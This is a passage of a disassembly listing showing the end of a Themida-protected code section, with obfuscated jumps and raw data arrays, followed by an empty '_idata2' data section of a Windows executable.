3201B34Ch jp loc_6062D3 mov di, bx loc_6062D3: ; CODE XREF: Themida_:006062CAj adc di, 0D090h jmp near ptr loc_6062EB+4 ; --------------------------------------------------------------------------- db 88h, 6Dh, 24h dd 9B3656A7h, 39D6530Ch db 0EEh, 8Dh, 0C6h ; --------------------------------------------------------------------------- loc_6062EB: ; CODE XREF: Themida_:006062A7j ; Themida_:006062D8j jmp near ptr 0FBC44EAh ; --------------------------------------------------------------------------- dd 0F56DABFh, 1088h, 0BE900h, 0CC0C0000h, 5D49C127h, 6EFC33B5h dd 23065984h, 0D5h dup(23065A31h), 0D6E50631h, 30Ah dup(0D6E5068Bh) dd 180h dup(0ACCD2A21h), 0A74FF021h, 0EEh dup(0A74FF031h) dd 3D4FF031h, 14Eh dup(3D1CA652h), 54h dup(0D781D21Ah) dd 135h dup(0E8C12F52h), 0AD8h dup(0CCCCCCCCh), 0CCCCh dd 1B3Dh dup(0) Themida_ ends ; Section 5. (virtual address 00212000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00212000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 612000h dd 80h dup(0) dd 2C8h dup(?) dword_612D20 dd 0B8h dup(?) _idata2 ends end start